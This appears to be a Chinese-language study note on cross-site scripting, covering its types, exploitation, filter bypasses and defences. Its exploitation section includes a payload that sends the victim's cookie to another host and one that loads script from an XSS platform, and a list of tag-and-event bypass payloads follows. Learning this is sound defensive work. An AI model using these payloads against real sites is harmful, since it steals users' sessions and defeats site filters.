XSS类型
反射型
用户访问带有XSS代码的请求,服务器立即将代码发送至浏览器,浏览器执行恶意代码:
1 | // http://127.0.0.1/reflect.php?xss=<script>alert(1);</script> |
存储型
XSS代码被保存(至数据库),待页面被访问时再执行:
1 |
|
先插入一个存在问题的数据
1 | http://127.0.0.1/saved.php?action=insert&name=anemone&password=<script>alert(/xss/)</script> |
接着访问:
1 | http://127.0.0.1/saved.php?action=get&name=anemone |
DOM型
通过js操控dom引入xss代码:
1 | <script> |
出现场景:
- 在前端实现页面跳转(location.href=’javascript:alert(1)’)
- 取值写入页面或动态执行
- div.innerHTML=payload
- eval(payload)
- 使用HTML5 postMessage进行跨域通讯
利用
发送cookie:1
http://127.0.0.1/reflect.php?xss=<script>fetch('http://127.0.0.2:8888/'.concat(window.btoa(document.cookie)))</script>
使用XSSPT平台:1
http://127.0.0.1/reflect.php?xss=%3Cscript%20src=https://xsspt.com/v5Ia54%3E%3C/script%3E
绕过方式
使用input/img/svg等标签和onerror/onload/onfocus等属性绕过关键词:
<input autofocus id=a name="javascript:123" onfocus="alert(1)">
<img/src/onerror=alert(1)>
<svg/onload=alert(1)>
<video/src/onerror=alert(1)>
<video/src/onloadstart=alert(1)>
<details/open/ontoggle=alert(1)>
使用concat绕过黑名单单词:
1
'javascri'.concat('pt:aler','t(1)')
使用
+
绕过空格二次编码
防御
开启Cookie的HttpOnly选项
反射型
(默认选项)添加浏览器保护头部
x-xss-protection: 1
渲染至页面时进行htmlencode
htmlspecialchars('<script>') => <script>
存储型
渲染至页面时进行htmlencode
DOM型
在js中进行encodeURI
过滤,对于标签中的属性(如示例中的href)使用正则过滤。
样例
至少过滤如下符号:
1 | escapeHTML(t){ |
参考链接
- 驱散前端安全梦魇——DOMXSS典型场景分析与修复指南,https://security.tencent.com/index.php/blog/msg/107